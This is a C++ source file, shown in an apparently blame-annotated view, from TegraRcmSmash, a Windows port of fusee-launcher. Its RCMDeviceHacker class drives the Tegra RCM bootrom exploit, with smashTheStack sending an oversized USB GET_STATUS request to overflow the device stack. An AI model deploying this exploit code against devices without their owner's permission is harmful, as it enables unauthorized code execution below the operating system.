2018-05-10 23:39:24 +01:00
|
|
|
/*
|
|
|
|
* TegraRcmShash.cpp (by rajkosto)
|
|
|
|
* A reimplementation of fusee-launcher by ktemkin in C++ for Windows platforms.
|
|
|
|
* https://github.com/rajkosto/TegraRcmSmash
|
2018-05-23 12:08:21 +01:00
|
|
|
*
|
|
|
|
*
|
2018-05-10 23:39:24 +01:00
|
|
|
*/
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
#include "TegraRcmSmash.h"
|
|
|
|
class RCMDeviceHacker
|
|
|
|
{
|
|
|
|
public:
|
|
|
|
RCMDeviceHacker(KUSB_DRIVER_API& usbDriver_, KUSB_HANDLE usbHandle_) : usbHandle(usbHandle_), usbDriver(&usbDriver_), totalWritten(0), currentBuffer(0) {}
|
|
|
|
~RCMDeviceHacker()
|
|
|
|
{
|
|
|
|
if (usbHandle != nullptr)
|
|
|
|
{
|
|
|
|
usbDriver->Free(usbHandle);
|
|
|
|
usbHandle = nullptr;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
static constexpr u32 PACKET_SIZE = 0x1000;
|
|
|
|
|
|
|
|
int getDriverVersion(libusbk::version_t& outVersion)
|
|
|
|
{
|
|
|
|
HANDLE masterHandle = INVALID_HANDLE_VALUE;
|
|
|
|
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
|
|
|
|
return -int(ERROR_INVALID_HANDLE);
|
|
|
|
|
|
|
|
libusbk::libusb_request myRequest;
|
|
|
|
memset(&myRequest, 0, sizeof(myRequest));
|
|
|
|
|
|
|
|
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_VERSION, &myRequest, sizeof(myRequest), &myRequest, sizeof(myRequest));
|
|
|
|
if (retVal > 0)
|
|
|
|
outVersion = myRequest.version;
|
|
|
|
|
|
|
|
return retVal;
|
|
|
|
}
|
|
|
|
int read(u8* outBuf, size_t outBufSize)
|
|
|
|
{
|
|
|
|
UINT lengthTransferred = 0;
|
|
|
|
const auto retVal = usbDriver->ReadPipe(usbHandle, 0x81, outBuf, (UINT)outBufSize, &lengthTransferred, nullptr);
|
|
|
|
if (retVal == FALSE)
|
|
|
|
return -int(GetLastError());
|
|
|
|
else
|
|
|
|
return int(lengthTransferred);
|
|
|
|
}
|
|
|
|
int write(const u8* data, size_t dataLen, size_t packetSize = PACKET_SIZE)
|
|
|
|
{
|
|
|
|
int bytesRemaining = (int)dataLen;
|
|
|
|
size_t bytesWritten = 0;
|
|
|
|
while (bytesRemaining > 0)
|
|
|
|
{
|
|
|
|
const size_t bytesToWrite = (bytesRemaining < (int)packetSize) ? bytesRemaining : (int)packetSize;
|
|
|
|
const auto retVal = writeSingleBuffer(&data[bytesWritten], bytesToWrite);
|
|
|
|
if (retVal < 0)
|
|
|
|
return retVal;
|
|
|
|
else if (retVal < (int)bytesToWrite)
|
|
|
|
return int(bytesWritten) + retVal;
|
|
|
|
|
|
|
|
bytesWritten += retVal;
|
|
|
|
bytesRemaining -= retVal;
|
|
|
|
}
|
|
|
|
|
|
|
|
return (int)bytesWritten;
|
|
|
|
}
|
|
|
|
int readDeviceId(u8* deviceIdBuf, size_t idBufSize)
|
|
|
|
{
|
|
|
|
if (idBufSize < 0x10)
|
|
|
|
return -int(ERROR_INSUFFICIENT_BUFFER);
|
|
|
|
|
|
|
|
return read(deviceIdBuf, 0x10);
|
|
|
|
}
|
|
|
|
int switchToHighBuffer()
|
|
|
|
{
|
|
|
|
if (currentBuffer == 0)
|
|
|
|
{
|
|
|
|
u8 tempZeroDatas[PACKET_SIZE];
|
|
|
|
memset(tempZeroDatas, 0, sizeof(tempZeroDatas));
|
|
|
|
|
|
|
|
const auto writeRes = write(tempZeroDatas, sizeof(tempZeroDatas));
|
|
|
|
if (writeRes < 0)
|
|
|
|
return writeRes;
|
|
|
|
|
|
|
|
assert(currentBuffer != 0);
|
|
|
|
return writeRes;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
int smashTheStack(int length = -1)
|
|
|
|
{
|
|
|
|
constexpr u32 STACK_END = 0x40010000;
|
|
|
|
|
|
|
|
if (length < 0)
|
|
|
|
length = STACK_END - getCurrentBufferAddress();
|
|
|
|
|
|
|
|
if (length < 1)
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
HANDLE masterHandle = INVALID_HANDLE_VALUE;
|
|
|
|
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
|
|
|
|
return -int(ERROR_INVALID_HANDLE);
|
|
|
|
|
|
|
|
libusbk::libusb_request rawRequest;
|
|
|
|
memset(&rawRequest, 0, sizeof(rawRequest));
|
|
|
|
rawRequest.timeout = 1000; //ms
|
|
|
|
rawRequest.status.index = 0;
|
|
|
|
rawRequest.status.recipient = 0x02; //RECIPIENT_ENDPOINT
|
|
|
|
|
|
|
|
ByteVector threshBuf(length, 0);
|
|
|
|
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_STATUS, &rawRequest, sizeof(rawRequest), &threshBuf[0], threshBuf.size());
|
|
|
|
if (retVal < 0)
|
|
|
|
{
|
|
|
|
const auto theError = -retVal;
|
|
|
|
if (theError == ERROR_SEM_TIMEOUT) //timed out, which means it probably smashed
|
|
|
|
return (int)threshBuf.size();
|
|
|
|
|
|
|
|
return theError;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
return retVal;
|
|
|
|
}
|
|
|
|
protected:
|
|
|
|
u32 getCurrentBufferAddress() const
|
|
|
|
{
|
|
|
|
return (currentBuffer == 0) ? 0x40005000u : 0x40009000u;
|
|
|
|
}
|
|
|
|
u32 toggleBuffer()
|
|
|
|
{
|
|
|
|
const auto prevBuffer = currentBuffer;
|
|
|
|
currentBuffer = (currentBuffer == 0) ? 1u : 0u;
|
|
|
|
return prevBuffer;
|
|
|
|
}
|
|
|
|
int writeSingleBuffer(const u8* data, size_t dataLen)
|
|
|
|
{
|
|
|
|
toggleBuffer();
|
|
|
|
|
|
|
|
UINT lengthTransferred = 0;
|
|
|
|
const auto retVal = usbDriver->WritePipe(usbHandle, 0x01, (u8*)data, (UINT)dataLen, &lengthTransferred, nullptr);
|
|
|
|
if (retVal == FALSE)
|
|
|
|
return -int(GetLastError());
|
|
|
|
else
|
|
|
|
return (int)lengthTransferred;
|
|
|
|
}
|
|
|
|
|
|
|
|
static int BlockingIoctl(HANDLE driverHandle, DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes)
|
|
|
|
{
|
|
|
|
WinHandle theEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
|
|
|
if (theEvent.get() == nullptr || theEvent.get() == INVALID_HANDLE_VALUE)
|
|
|
|
return false;
|
|
|
|
|
|
|
|
OVERLAPPED overlapped;
|
|
|
|
memset(&overlapped, 0, sizeof(overlapped));
|
|
|
|
if (DeviceIoControl(driverHandle, ioctlCode, (LPVOID)inputBytes, (DWORD)numInputBytes, (LPVOID)outputBytes, (DWORD)numOutputBytes, nullptr, &overlapped) == FALSE)
|
|
|
|
{
|
|
|
|
const auto errCode = GetLastError();
|
|
|
|
if (errCode != ERROR_IO_PENDING)
|
|
|
|
return -int(errCode);
|
|
|
|
}
|
|
|
|
|
|
|
|
DWORD bytesReceived = 0;
|
|
|
|
if (GetOverlappedResult(driverHandle, &overlapped, &bytesReceived, TRUE) == FALSE)
|
|
|
|
{
|
|
|
|
const auto errCode = GetLastError();
|
|
|
|
return -int(errCode);
|
|
|
|
}
|
|
|
|
|
|
|
|
return (int)bytesReceived;
|
|
|
|
}
|
|
|
|
|
|
|
|
KUSB_HANDLE usbHandle;
|
|
|
|
KUSB_DRIVER_API* usbDriver;
|
|
|
|
size_t totalWritten;
|
|
|
|
u32 currentBuffer;
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
static KLST_DEVINFO pluggedInDevice;
|
|
|
|
static WinHandle gotDeviceEvent;
|
|
|
|
|
|
|
|
static u32 deviceVid = 0x0955;
|
|
|
|
static u32 devicePid = 0x7321;
|
|
|
|
static void KUSB_API HotPlugEventCallback(KHOT_HANDLE Handle, KLST_DEVINFO_HANDLE DeviceInfo, KLST_SYNC_FLAG NotificationType)
|
|
|
|
{
|
|
|
|
if (NotificationType == KLST_SYNC_FLAG_ADDED && DeviceInfo != nullptr &&
|
|
|
|
DeviceInfo->Common.Vid == deviceVid && DeviceInfo->Common.Pid == devicePid)
|
|
|
|
{
|
|
|
|
memcpy(&pluggedInDevice, DeviceInfo, sizeof(pluggedInDevice));
|
|
|
|
SetEvent(gotDeviceEvent.get());
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
static WinHandle finishedUpEvent;
|
|
|
|
static BOOL WINAPI ConsoleSignalHandler(DWORD signal)
|
|
|
|
{
|
|
|
|
switch (signal)
|
|
|
|
{
|
|
|
|
case CTRL_CLOSE_EVENT:
|
|
|
|
case CTRL_LOGOFF_EVENT:
|
|
|
|
case CTRL_SHUTDOWN_EVENT:
|
|
|
|
case CTRL_C_EVENT:
|
|
|
|
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
|
|
|
|
SetEvent(gotDeviceEvent.get());
|
|
|
|
if (WaitForSingleObject(finishedUpEvent.get(), 1000) == WAIT_OBJECT_0)
|
|
|
|
finishedUpEvent = WinHandle();
|
|
|
|
else
|
|
|
|
_ftprintf(stderr, TEXT("Timed out waiting for cleanup, forcibly closing\n"));
|
|
|
|
default:
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
TegraRcmSmash::TegraRcmSmash()
|
|
|
|
{
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
TegraRcmSmash::~TegraRcmSmash()
|
|
|
|
{
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int TegraRcmSmash::RcmStatus()
|
|
|
|
{
|
|
|
|
KLST_DEVINFO_HANDLE deviceInfo = nullptr;
|
|
|
|
|
|
|
|
KLST_HANDLE deviceList = nullptr;
|
|
|
|
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
|
|
|
|
{
|
|
|
|
const auto errorCode = GetLastError();
|
|
|
|
// Win32 error trying to list USB devices
|
|
|
|
return -6;
|
|
|
|
}
|
|
|
|
auto lstKgrd = MakeScopeGuard([&deviceList]()
|
|
|
|
{
|
|
|
|
if (deviceList != nullptr)
|
|
|
|
{
|
|
|
|
LstK_Free(deviceList);
|
|
|
|
deviceList = nullptr;
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
// Get the number of devices contained in the device list.
|
|
|
|
UINT deviceCount = 0;
|
|
|
|
LstK_Count(deviceList, &deviceCount);
|
|
|
|
|
|
|
|
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
|
|
|
|
{
|
|
|
|
// No device found in RCM Mode
|
2018-05-23 12:08:21 +01:00
|
|
|
return -5;
|
2018-05-10 23:39:24 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
if (deviceInfo != nullptr)
|
|
|
|
{
|
|
|
|
if (deviceInfo->DriverID != KUSB_DRVID_LIBUSBK)
|
|
|
|
{
|
|
|
|
/*
|
|
|
|
Wrong driver => need to install libusbK driver
|
|
|
|
*/
|
|
|
|
return -4;
|
|
|
|
}
|
|
|
|
|
|
|
|
KUSB_DRIVER_API Usb;
|
|
|
|
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
|
|
|
|
|
|
|
|
// Initialize the device
|
|
|
|
KUSB_HANDLE handle = nullptr;
|
|
|
|
if (!Usb.Init(&handle, deviceInfo))
|
|
|
|
{
|
|
|
|
const auto errorCode = GetLastError();
|
|
|
|
// Failed to handle device
|
|
|
|
return -3;
|
|
|
|
}
|
|
|
|
|
|
|
|
RCMDeviceHacker rcmDev(Usb, handle); handle = nullptr;
|
|
|
|
|
|
|
|
libusbk::version_t usbkVersion;
|
|
|
|
memset(&usbkVersion, 0, sizeof(usbkVersion));
|
|
|
|
const auto versRetVal = rcmDev.getDriverVersion(usbkVersion);
|
|
|
|
if (versRetVal <= 0)
|
|
|
|
{
|
|
|
|
// Failed to get USB driver version
|
|
|
|
return -2;
|
|
|
|
}
|
|
|
|
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
|
|
|
|
{
|
2018-05-23 12:08:21 +01:00
|
|
|
|
2018-05-10 23:39:24 +01:00
|
|
|
// Wrong USB driver version
|
|
|
|
return -1;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
|
|
}
|